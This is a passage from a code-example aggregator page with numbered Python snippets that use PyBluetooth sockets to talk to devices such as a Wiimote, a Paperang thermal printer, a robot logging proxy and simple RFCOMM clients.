            self.socket.connect((host, port))
            print("connected.")
            return True
        except:
            self.close_socket()
            print("Exception occured : connect_to_server")

        return False

    def find_and_connect_to_server(self):
        while True:
            print("--------------------------------------------------")
            print("find server")
            if True == self.find_server():
                print("--------------------------------------------------")
                print("connect to server")
                if True == self.connect_to_server():
                    return True

            print("--------------------------------------------------")
            print("retrying...")
            time.sleep(self.sleep_time)

        return False

    def loop(self):
        try:
            print("--------------------------------------------------")
            print("message loop start.")
            while True:
                data = self.socket.recv(1024)
                if len(data) == 0:
                    print("connection close : loop")
                    self.close_socket()
                    break
                print("received [%s]" % data)
                self.socket.send("received.\n")
        except:
            self.close_socket()
            print("Exception occured : loop")

    def run(self):
        while True:
            if True == self.find_and_connect_to_server():
                self.loop()

        print("rfcomm_client exit.")
        return
Exemple #21
0
import signal
from bluetooth import BluetoothSocket, RFCOMM


def parsa_data(data):
    while ("{" in data and "}" in data):
        print(data[data.find('{'):data.find('}') + 1])
        data = data[data.find('}') + 1:]
    return data


def finish_up(signum, frame):
    signal.signal(signal.SIGINT, original_sigint)
    sock.close()


original_sigint = signal.getsignal(signal.SIGINT)
signal.signal(signal.SIGINT, finish_up)
sock = BluetoothSocket(RFCOMM)
sock.connect(("98:D3:32:30:AB:5C", 1))

data = sock.recv(165)
data = data[data.find('}') + 1:]
while True:
    data += sock.recv(165)
    data = parsa_data(data)

print(data)

sock.close()
Exemple #22
0
    while time.time() - t1 < 60:
        try:
            rfcomm.settimeout(None)
            received = rfcomm.recv(2**16)
            print(time.time() -t2, len(received))
            t2 = time.time()
            #time.sleep(0.001)
        except BluetoothError as error:
            if str(error) == 'timed out':
                print('time out')
            else:
                raise
                return


if __name__ == '__main__':
    #tm_enable()
    #time.sleep(5)
    #tm_read()

    #rfcomm.close()

    rfcomm = BluetoothSocket(RFCOMM)
    #rfcomm.connect(('98:D3:31:F6:1C:51', 1)) # white
    rfcomm.connect(('98:D3:31:70:13:AB', 1)) # green
    rfcomm.settimeout(0.01)

    while (True):
        data = rfcomm.recv(2**16)
        print(data)
Exemple #23
0
class Proxy(Agent):
    def on_init(self):
        self.log = []
        self.buffer = b''
        self.log_filter = None
        self.filtered = None
        self.spinete_pub = self.bind('PUB',
                                     alias='spinete',
                                     transport='tcp',
                                     serializer='raw',
                                     addr='127.0.0.1:5000')

    def setup(self, address, port):
        self.rfcomm = BluetoothSocket(RFCOMM)
        self.rfcomm.connect((address, port))
        self.rfcomm.settimeout(0.01)
        self.each(0, 'receive')

    def filter_next(self, level=None, function=None):
        self.log_filter = LogFilter(level=level, function=function)

    def wait_filtered(self, timeout=0.5):
        t0 = time.time()
        while True:
            self.receive()
            if self.filtered:
                break
            if time.time() - t0 > timeout:
                print('`wait_filtered` timed out!')
                break
        result = self.filtered
        self.filtered = None
        self.log_filter = None
        return result

    def publish(self, log):
        body = log[-1]
        if not body.startswith('PUB'):
            return
        fields = body.split(',')
        if fields[1] != 'line':
            raise NotImplementedError()
        print(fields)
        self.send('spinete', pickle.dumps((fields[2], log[0], fields[3])))

    def process_received(self, received):
        self.buffer += received
        if b'\n' not in self.buffer:
            return 0
        splits = self.buffer.split(b'\n')
        for message in splits[:-1]:
            fields = message.split(b',')
            log = [x.decode('utf-8') for x in fields[:4]]
            try:
                log[0] = float(log[0])
            except ValueError:
                pass
            body = b','.join(fields[4:])
            if not body.startswith(b'RAW'):
                body = body.decode('utf-8')
            else:
                raise NotImplementedError()
            log = tuple(log + [body])
            if log[1] == 'ERROR':
                print(log)
            if log_matches_filter(log, self.log_filter):
                self.filtered = log
                self.log_filter = None
            self.log.append(log)
            self.publish(log)
        self.buffer = splits[-1]
        return len(splits) - 1

    def send_bt(self, message):
        for retry in range(10):
            try:
                self.rfcomm.settimeout(1.)
                self.rfcomm.send(message)
            except Exception as error:
                print_exc()
            # Wait for the robot ACK
            t0 = time.time()
            while (time.time() - t0 < 0.1):
                received = self.receive()
                for i in range(received):
                    log = self.log[-1 - i]
                    body = log[-1]
                    if log[1] != 'DEBUG':
                        continue
                    if 'Processing' not in body:
                        continue
                    if body != 'Processing "%s"' % message.strip('\0'):
                        break
                    return True
        print('Command "%s" unsuccessful!' % message)
        return False

    def receive(self):
        try:
            self.rfcomm.settimeout(0.01)
            received = self.rfcomm.recv(1024)
            return self.process_received(received)
        except BluetoothError as error:
            if str(error) != 'timed out':
                raise
        return 0

    def tail(self, N):
        return self.log[-N:]

    def last_log_time(self):
        if not self.log:
            return 0
        return float(self.log[-1].split(b',')[0])

    def get_battery_voltage(self):
        self.filter_next(function='log_battery_voltage')
        self.send_bt('battery\0')
        return float(self.wait_filtered()[-1])

    def get_configuration_variables(self):
        self.filter_next(function='log_configuration_variables')
        self.send_bt('configuration_variables\0')
        return json.loads(self.wait_filtered()[-1])
Exemple #24
0
class Wiimote:
    def __init__(self, addr):
        self._addr = addr
        self._inSocket = BluetoothSocket(L2CAP)
        self._outSocket = BluetoothSocket(L2CAP)
        self._connected = False

    def __del__(self):
        self.disconnect()

    def _send(self, *data, **kwargs):
        check_connection = True
        if "check_connection" in kwargs:
            check_connection = kwargs["check_connection"]
        if check_connection and not self._connected:
            raise IOError("No wiimote is connected")
        self._inSocket.send("".join(map(chr, data)))

    def disconnect(self):
        if self._connected:
            self._inSocket.close()
            self._outSocket.close()
            self._connected = False

    def connect(self, timeout=0):
        if self._connected:
            return None

        self._inSocket.connect((self._addr, 0x13))
        self._outSocket.connect((self._addr, 0x11))

        self._inSocket.settimeout(timeout)
        self._outSocket.settimeout(timeout)

        # TODO give the choice of the mode to the user
        # Set the mode of the data reporting of the Wiimote with the last byte of this sending
        # 0x30 : Only buttons (2 bytes)
        # 0x31 : Buttons and Accelerometer (3 bytes)
        # 0x32 : Buttons + Extension (8 bytes)
        # 0x33 : Buttons + Accel + InfraRed sensor (12 bytes)
        # 0x34 : Buttons + Extension (19 bytes)
        # 0x35 : Buttons + Accel + Extension (16 bytes)
        # 0x36 : Buttons + IR sensor (10 bytes) + Extension (9 bytes)
        # 0x37 : Buttons + Accel + IR sensor (10 bytes) + Extension (6 bytes)
        # 0x3d : Extension (21 bytes)
        # 0x3e / 0x3f : Buttons + Accel + IR sensor (36 bytes). Need two reports for a sigle data unit.
        self._send(0x52, 0x12, 0x00, 0x33, check_connection=False)

        # Enable the IR camera
        # Enable IR Camera (Send 0x04 to Output Report 0x13)
        # Enable IR Camera 2 (Send 0x04 to Output Report 0x1a)
        # Write 0x08 to register 0xb00030
        # Write Sensitivity Block 1 to registers at 0xb00000
        # Write Sensitivity Block 2 to registers at 0xb0001a
        # Write Mode Number to register 0xb00033
        # Write 0x08 to register 0xb00030 (again)
        # Put a sleep of 50ms to avoid a bad configuration of the IR sensor
        # Sensitivity Block 1 is : 00 00 00 00 00 00 90 00 41
        # Sensitivity Block 2 is : 40 00
        # The mode number is 1 if there is 10 bytes for the IR.
        # The mode number is 3 if there is 12 bytes for the IR.
        # The mode number is 5 if there is 36 bytes for the IR.
        time.sleep(0.050)
        self._send(0x52, 0x13, 0x04, check_connection=False)
        time.sleep(0.050)
        self._send(0x52, 0x1A, 0x04, check_connection=False)
        time.sleep(0.050)
        self._send(
            0x52,
            0x16,
            0x04,
            0xB0,
            0x00,
            0x30,
            1,
            0x08,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            check_connection=False,
        )
        time.sleep(0.050)
        self._send(
            0x52,
            0x16,
            0x04,
            0xB0,
            0x00,
            0x06,
            1,
            0x90,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            check_connection=False,
        )
        time.sleep(0.050)
        self._send(
            0x52,
            0x16,
            0x04,
            0xB0,
            0x00,
            0x08,
            1,
            0x41,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            check_connection=False,
        )
        time.sleep(0.050)
        self._send(
            0x52,
            0x16,
            0x04,
            0xB0,
            0x00,
            0x1A,
            1,
            0x40,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            check_connection=False,
        )
        time.sleep(0.050)
        self._send(
            0x52,
            0x16,
            0x04,
            0xB0,
            0x00,
            0x33,
            1,
            0x03,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            check_connection=False,
        )
        time.sleep(0.050)
        self._send(
            0x52,
            0x16,
            0x04,
            0xB0,
            0x00,
            0x30,
            1,
            0x08,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            check_connection=False,
        )

        self._connected = True

    def vibrate(self, duration=1):
        self._send(0x52, 0x15, 0x01)
        time.sleep(duration)
        self._send(0x52, 0x15, 0x00)

    def setLed(self, binary):
        self._send(0x52, 0x11, int(n << 4))

    def _getData(self, check_connection=True):
        if check_connection and not self._connected:
            raise IOError("No wiimote is connected")
        data = self._inSocket.recv(19)
        if len(data) != 19:
            raise IOError("Impossible to receive all data")
        return list(map(ord, data))

    def _checkButton(self, bit, mask):
        return self._getData()[bit] & mask != 0

    def buttonAPressed(self):
        return self._checkButton(3, 0x08)

    def buttonBPressed(self):
        return self._checkButton(3, 0x04)

    def buttonUpPressed(self):
        return self._checkButton(2, 0x08)

    def buttonDownPressed(self):
        return self._checkButton(2, 0x04)

    def buttonLeftPressed(self):
        return self._checkButton(2, 0x01)

    def buttonRightPressed(self):
        return self._checkButton(2, 0x02)

    def buttonPlusPressed(self):
        return self._checkButton(2, 0x10)

    def buttonMinusPressed(self):
        return self._checkButton(3, 0x10)

    def buttonHomePressed(self):
        return self._checkButton(3, 0x80)

    def buttonOnePressed(self):
        return self._checkButton(3, 0x02)

    def buttonTwoPressed(self):
        return self._checkButton(3, 0x01)

    # 0x80 means no movement
    def getAcceleration(self):
        d = self._getData()

        ax = d[4] << 2 | d[2] & (0x20 | 0x40)
        ay = d[5] << 1 | d[3] & 0x20
        az = d[6] << 1 | d[3] & 0x40
        return (ax, ay, az)

    def getIRPoints(self):
        d = self._getData()

        x1 = d[7] | ((d[9] & (0b00110000)) << 4)
        y1 = d[8] | ((d[9] & (0b11000000)) << 2)
        i1 = d[9] & 0b00001111

        x2 = d[10] | ((d[12] & (0b00110000)) << 4)
        y2 = d[11] | ((d[12] & (0b11000000)) << 2)
        i2 = d[12] & 0b00001111

        x3 = d[13] | ((d[15] & (0b00110000)) << 4)
        y3 = d[14] | ((d[15] & (0b11000000)) << 2)
        i3 = d[15] & 0b00001111

        x4 = d[16] | ((d[18] & (0b00110000)) << 4)
        y4 = d[17] | ((d[18] & (0b11000000)) << 2)
        i4 = d[18] & 0b00001111

        return [(x1, y2, i1), (x2, y2, i2), (x3, y3, i3), (x4, y4, i4)]
Exemple #25
0
class BluetoothConnection(object):
	def __init__(self):
		self.client_socket = None
		self.server_socket = None
		self.connected = False
		
	
	def createServer(self, port = 3):
		self.server_socket=BluetoothSocket( RFCOMM )

		self.server_socket.bind(("", port))
		self.server_socket.listen(1)

		print "Trying to connect.."
		self.client_socket, _ = self.server_socket.accept()
		print "Connected!"
		
		self.connected = True
		
	def createClient(self, address, port = 3):
		if address == "first":
			address = self.searchDevices()[0]
		self.client_socket=BluetoothSocket( RFCOMM )
		print "Trying to connect.."
		self.client_socket.connect((address, port))
		print "Connected!"
		self.connected = True
	
	def searchDevices(self):
		return discover_devices()
		
	def receiveData(self, bufsize = 1024):
		if self.connected:
			return self.client_socket.recv(bufsize)
		else:
			print "Not yet connected!"
	
	def sendFile(self, filename):
		f = open(filename, 'r')
		data = f.readlines()
		for line in data:
			self.sendData(line)
		f.close()
	
	def receiveFile(self, filename, bufsize = 4096):
		data = self.receiveData(bufsize)
		f = open(filename, 'w')
		f.writelines(data)
		f.flush()
		f.close()
		
	def sendData(self, data):
		if self.connected:
			self.client_socket.send(data)
			
	def closeConnection(self):
		if self.server_socket is not None:
			self.server_socket.close()
		
		self.client_socket.close()
		
		self.connected = False
Exemple #26
0
class BluetoothConnection(object):
    def __init__(self):
        self.client_socket = None
        self.server_socket = None
        self.connected = False

    def createServer(self, port=3):
        self.server_socket = BluetoothSocket(RFCOMM)

        self.server_socket.bind(("", port))
        self.server_socket.listen(1)

        print "Trying to connect.."
        self.client_socket, _ = self.server_socket.accept()
        print "Connected!"

        self.connected = True

    def createClient(self, address, port=3):
        if address == "first":
            address = self.searchDevices()[0]
        self.client_socket = BluetoothSocket(RFCOMM)
        print "Trying to connect.."
        self.client_socket.connect((address, port))
        print "Connected!"
        self.connected = True

    def searchDevices(self):
        return discover_devices()

    def receiveData(self, bufsize=1024):
        if self.connected:
            return self.client_socket.recv(bufsize)
        else:
            print "Not yet connected!"

    def sendFile(self, filename):
        f = open(filename, 'r')
        data = f.readlines()
        for line in data:
            self.sendData(line)
        f.close()

    def receiveFile(self, filename, bufsize=4096):
        data = self.receiveData(bufsize)
        f = open(filename, 'w')
        f.writelines(data)
        f.flush()
        f.close()

    def sendData(self, data):
        if self.connected:
            self.client_socket.send(data)

    def closeConnection(self):
        if self.server_socket is not None:
            self.server_socket.close()

        self.client_socket.close()

        self.connected = False
Exemple #27
0
class Paperang:
    standardKey = 0x35769521
    padding_line = 300
    max_send_msg_length = 2016
    max_recv_msg_length = 1024
    service_uuid = "00001101-0000-1000-8000-00805F9B34FB"

    def __init__(self, address=None):
        self.address = address
        self.crckeyset = False
        self.connected = True if self.connect() else False

    def connect(self):
        if self.address is None and not self.scandevices():
            return False
        if not self.scanservices():
            return False
        logging.info("Service found. Connecting to \"%s\" on %s..." %
                     (self.service["name"], self.service["host"]))
        self.sock = BluetoothSocket(RFCOMM)
        self.sock.connect((self.service["host"], self.service["port"]))
        self.sock.settimeout(60)
        logging.info("Connected.")
        self.registerCrcKeyToBt()
        return True

    def disconnect(self):
        try:
            self.sock.close()
        except:
            pass
        logging.info("Disconnected.")

    def scandevices(self):
        logging.warning(
            "Searching for devices...\n"
            "It may take time, you'd better specify mac address to avoid a scan."
        )
        valid_names = ['MiaoMiaoJi', 'Paperang']
        nearby_devices = discover_devices(lookup_names=True)
        valid_devices = list(
            filter(lambda d: len(d) == 2 and d[1] in valid_names,
                   nearby_devices))
        if len(valid_devices) == 0:
            logging.error("Cannot find device with name %s." %
                          " or ".join(valid_names))
            return False
        elif len(valid_devices) > 1:
            logging.warning(
                "Found multiple valid machines, the first one will be used.\n")
            logging.warning("\n".join(valid_devices))
        else:
            logging.warning("Found a valid machine with MAC %s and name %s" %
                            (valid_devices[0][0], valid_devices[0][1]))
        self.address = valid_devices[0][0]
        return True

    def scanservices(self):
        logging.info("Searching for services...")
        service_matches = find_service(uuid=self.service_uuid,
                                       address=self.address)
        valid_service = list(
            filter(
                lambda s: 'protocol' in s and 'name' in s and s['protocol'] ==
                'RFCOMM' and s['name'] == 'SerialPort', service_matches))
        if len(valid_service) == 0:
            logging.error("Cannot find valid services on device with MAC %s." %
                          self.address)
            return False
        logging.info("Found a valid service")
        self.service = valid_service[0]
        return True

    def sendMsgAllPackage(self, msg):
        # Write data directly to device
        sent_len = self.sock.send(msg)
        logging.info("Sending msg with length = %d..." % sent_len)

    def crc32(self, content):
        return zlib.crc32(content, self.crcKey
                          if self.crckeyset else self.standardKey) & 0xffffffff

    def packPerBytes(self, bytes, control_command, i):
        result = struct.pack('<BBB', 2, control_command, i)
        result += struct.pack('<H', len(bytes))
        result += bytes
        result += struct.pack('<I', self.crc32(bytes))
        result += struct.pack('<B', 3)
        return result

    def addBytesToList(self, bytes):
        length = self.max_send_msg_length
        result = [bytes[i:i + length] for i in range(0, len(bytes), length)]
        return result

    def sendToBt(self, data_bytes, control_command, need_reply=True):
        bytes_list = self.addBytesToList(data_bytes)
        for i, bytes in enumerate(bytes_list):
            tmp = self.packPerBytes(bytes, control_command, i)
            self.sendMsgAllPackage(tmp)
        if need_reply:
            return self.recv()

    def recv(self):
        # Here we assume that there is only one received packet.
        raw_msg = self.sock.recv(self.max_recv_msg_length)
        parsed = self.resultParser(raw_msg)
        logging.info("Recv: " + codecs.encode(raw_msg, "hex_codec").decode())
        logging.info("Received %d packets: " % len(parsed) +
                     "".join([str(p) for p in parsed]))
        return raw_msg, parsed

    def resultParser(self, data):
        base = 0
        res = []
        while base < len(data) and data[base] == '\x02':

            class Info(object):
                def __str__(self):
                    return "\nControl command: %s(%s)\nPayload length: %d\nPayload(hex): %s" % (
                        self.command, BtCommandByte.findCommand(
                            self.command), self.payload_length,
                        codecs.encode(self.payload, "hex_codec"))

            info = Info()
            _, info.command, _, info.payload_length = struct.unpack(
                '<BBBH', data[base:base + 5])
            info.payload = data[base + 5:base + 5 + info.payload_length]
            info.crc32 = data[base + 5 + info.payload_length:base + 9 +
                              info.payload_length]
            base += 10 + info.payload_length
            res.append(info)
        return res

    def registerCrcKeyToBt(self, key=0x6968634 ^ 0x2e696d):
        logging.info("Setting CRC32 key...")
        msg = struct.pack('<I', int(key ^ self.standardKey))
        self.sendToBt(msg, BtCommandByte.PRT_SET_CRC_KEY)
        self.crcKey = key
        self.crckeyset = True
        logging.info("CRC32 key set.")

    def sendPaperTypeToBt(self, paperType=0):
        # My guess:
        # paperType=0: normal paper
        # paperType=1: official paper
        msg = struct.pack('<B', paperType)
        self.sendToBt(msg, BtCommandByte.PRT_SET_PAPER_TYPE)

    def sendPowerOffTimeToBt(self, poweroff_time=0):
        msg = struct.pack('<H', poweroff_time)
        self.sendToBt(msg, BtCommandByte.PRT_SET_POWER_DOWN_TIME)

    def sendImageToBt(self, binary_img):
        self.sendPaperTypeToBt()
        # msg = struct.pack("<%dc" % len(binary_img), *map(bytes, binary_img))
        msg = b"".join(
            map(lambda x: struct.pack("<c", x.to_bytes(1, byteorder="little")),
                binary_img))
        self.sendToBt(msg, BtCommandByte.PRT_PRINT_DATA, need_reply=False)
        self.sendFeedLineToBt(self.padding_line)

    def sendSelfTestToBt(self):
        msg = struct.pack('<B', 0)
        self.sendToBt(msg, BtCommandByte.PRT_PRINT_TEST_PAGE)

    def sendDensityToBt(self, density):
        msg = struct.pack('<B', density)
        self.sendToBt(msg, BtCommandByte.PRT_SET_HEAT_DENSITY)

    def sendFeedLineToBt(self, length):
        msg = struct.pack('<H', length)
        self.sendToBt(msg, BtCommandByte.PRT_FEED_LINE)

    def queryBatteryStatus(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_BAT_STATUS)

    def queryDensity(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_HEAT_DENSITY)

    def sendFeedToHeadLineToBt(self, length):
        msg = struct.pack('<H', length)
        self.sendToBt(msg, BtCommandByte.PRT_FEED_TO_HEAD_LINE)

    def queryPowerOffTime(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_POWER_DOWN_TIME)

    def querySNFromBt(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_SN)

    def queryHardwareInfo(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_HW_INFO)
Exemple #28
0
class Printer:

    standardKey = 0x35769521
    padding_line = 300
    max_send_msg_length = 1536
    max_recv_msg_length = 1024
    service_uuid = '00001101-0000-1000-8000-00805F9B34FB'

    def __init__(self, address=None):
        self.address = address
        self.crckeyset = False
        self.connected = True if self.connect() else False

    def init_converter(self, path):
        convert_img(path)

    def connect(self):
        if self.address is None and not self.scandevices():
            return False
        if not self.scanservices():
            return False
        logging.info('Service found: connecting to %s on %s...' %
                     (self.service['name'], self.service['host']))
        self.sock = BluetoothSocket()
        self.sock.connect((self.service['host'], self.service['port']))
        self.sock.settimeout(60)
        logging.info('Connected.')
        self.registerCrcKeyToBt()
        return True

    def disconnect(self):
        try:
            self.sock.close()
        except:
            pass
        logging.info('Disconnected.')

    def scandevices(self):
        logging.warning('Searching for devices...')
        valid_names = ['MiaoMiaoJi', 'Paperang', 'Paperang_P2S']
        nearby_devices = discover_devices(lookup_names=True)
        valid_devices = list(
            filter(lambda d: len(d) == 2 and d[1] in valid_names,
                   nearby_devices))
        if len(valid_devices) == 0:
            logging.error('Cannot find device with name %s.' %
                          ' or '.join(valid_names))
            return False
        elif len(valid_devices) > 1:
            logging.warning(
                'Found multiple valid machines, the first one will be used.\n')
            logging.warning('\n'.join(valid_devices))
        else:
            logging.warning('Found a valid machine with MAC %s and name %s' %
                            (valid_devices[0][0], valid_devices[0][1]))
            self.address = valid_devices[0][0]
        return True

    def scanservices(self):
        logging.info('Searching for services...')
        service_matches = find_service(uuid=self.service_uuid,
                                       address=self.address)
        valid_service = list(
            filter(
                lambda s: 'protocol' in s and 'name' in s and s[
                    'protocol'] == 'RFCOMM' and
                (s['name'] == 'SerialPort' or s['name'] == 'Port'),
                service_matches))
        if len(valid_service) == 0:
            logging.error('Cannot find valid services on device with MAC %s.' %
                          self.address)
            return False
        logging.info('Found a valid service')
        self.service = valid_service[0]
        return True

    def sendMsgAllPackage(self, msg):
        sent_len = self.sock.send(msg)
        logging.info('Sending msg with length = %d...' % sent_len)

    def crc32(self, content):
        return zlib.crc32(content, self.crcKey
                          if self.crckeyset else self.standardKey) & 0xffffffff

    def packPerBytes(self, bytes, control_command, i):
        result = struct.pack('<BBB', 2, control_command, i)
        result += struct.pack('<H', len(bytes))
        result += bytes
        result += struct.pack('<I', self.crc32(bytes))
        result += struct.pack('<B', 3)
        return result

    def addBytesToList(self, bytes):
        length = self.max_send_msg_length
        result = [bytes[i:(i + length)] for i in range(0, len(bytes), length)]
        return result

    def sendToBt(self, data_bytes, control_command, need_reply=True):
        bytes_list = self.addBytesToList(data_bytes)
        for i, bytes in enumerate(bytes_list):
            tmp = self.packPerBytes(bytes, control_command, i)
            self.sendMsgAllPackage(tmp)
        if need_reply:
            return self.recv()

    def recv(self):
        raw_msg = self.sock.recv(self.max_recv_msg_length)
        parsed = self.resultParser(raw_msg)
        logging.info('Recv: ' + codecs.encode(raw_msg, 'hex_codec').decode())
        logging.info('Received %d packets: ' % len(parsed) +
                     ''.join([str(p) for p in parsed]))
        return raw_msg, parsed

    def resultParser(self, data):
        base = 0
        res = []
        while base < len(data) and data[base] == '\x02':

            class Info(object):
                def __str__(self):
                    return '\nControl command: %s(%s)\nPayload length: %d\nPayload(hex): %s' % (
                        self.command, BtCommandByte.findCommand(
                            self.command), self.payload_length,
                        codecs.encode(self.payload, 'hex_codec'))

            info = Info()
            _, info.command, _, info.payload_length = struct.unpack(
                '<BBBH', data[base:(base + 5)])
            info.payload = data[base + 5:base + 5 + info.payload_length]
            info.crc32 = data[base + 5 + info.payload_length:base + 9 +
                              info.payload_length]
            base += 10 + info.payload_length
            res.append(info)
        return res

    def registerCrcKeyToBt(self, key=0x6968634 ^ 0x2e696d):
        logging.info('Setting CRC32 key...')
        msg = struct.pack('<I', int(key ^ self.standardKey))
        self.sendToBt(msg, BtCommandByte.PRT_SET_CRC_KEY)
        self.crcKey = key
        self.crckeyset = True
        logging.info('CRC32 key set.')

    def sendPaperTypeToBt(self, paperType=0):
        msg = struct.pack('<B', paperType)
        self.sendToBt(msg, BtCommandByte.PRT_SET_PAPER_TYPE)

    def sendPowerOffTimeToBt(self, poweroff_time=0):
        msg = struct.pack('<H', poweroff_time)
        self.sendToBt(msg, BtCommandByte.PRT_SET_POWER_DOWN_TIME)

    def print(self, path):
        self.sendImageToBt(path)

    def sendImageToBt(self, path):
        binary_img = convert_img(path)
        self.sendPaperTypeToBt()
        msg = b''.join(
            map(lambda i: struct.pack('<c', i.to_bytes(1, byteorder='little')),
                binary_img))
        self.sendToBt(msg, BtCommandByte.PRT_PRINT_DATA, need_reply=False)
        self.sendFeedLineToBt(self.padding_line)

    def sendSelfTestToBt(self):
        msg = struct.pack('<B', 0)
        self.sendToBt(msg, BtCommandByte.PRT_PRINT_TEST_PAGE)

    def sendDensityToBt(self, density):
        msg = struct.pack('<B', density)
        self.sendToBt(msg, BtCommandByte.PRT_SET_HEAT_DENSITY)

    def sendFeedLineToBt(self, length):
        msg = struct.pack('<H', length)
        self.sendToBt(msg, BtCommandByte.PRT_FEED_LINE)

    def queryBatteryStatus(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_BAT_STATUS)

    def queryDensity(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_HEAT_DENSITY)

    def sendFeedToHeadLineToBt(self, length):
        msg = struct.pack('<H', length)
        self.sendToBt(msg, BtCommandByte.PRT_FEED_TO_HEAD_LINE)

    def queryPowerOffTime(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_POWER_DOWN_TIME)

    def querySNFromBt(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_SN)

    def queryHardwareInfo(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_HW_INFO)
Exemple #29
0
#rfcomm.settimeout(0.0) # set blocking False
#rfcomm.settimeout(0.001)

print("Connected")

data = 'a'*900
data += '\n'
period = 0.001
print('len(data', len(data)+1, 'period', period, 'bytes/ms', len(data)/period/1000.0)

t1 = time.time()

while (True):
    try:
        rfcomm.send(data.encode('utf-8'))
    except BluetoothError as error:
        if str(error) != 'timed out':
            raise

    #t2 = time.time()
    #print(t2-t1)
    #t1 = time.time()

    try:
        rfcomm.recv(1024)
    except BluetoothError as error:
        if str(error) != 'timed out':
            raise

    #time.sleep(period)
Exemple #30
0
HOME = '\x00\x80'
LEFT = '\x01\x00'
RIGHT = '\x02\x00'
DOWN = '\x04\x00'
UP = '\x08\x00'
PLUS = '\x10\x00'

fdout = BluetoothSocket(L2CAP)
fdout.connect((ADDRESS, 0x11))

fdin = BluetoothSocket(L2CAP)
fdin.connect((ADDRESS, 0x13))

#set Led01
fdin.send(b"\xa2\x11\x10")

loop = 1
while loop == 1:
    try:
        msg = fdin.recv(23)
        #print(msg)
        msg_bit = int.from_bytes(msg, 'big')
        sys.stdout.write(str(msg_bit) + "\n")
        sys.stdout.flush()

    except BluetoothError:
        print("err")
        continue

fdin.close()
fdout.close()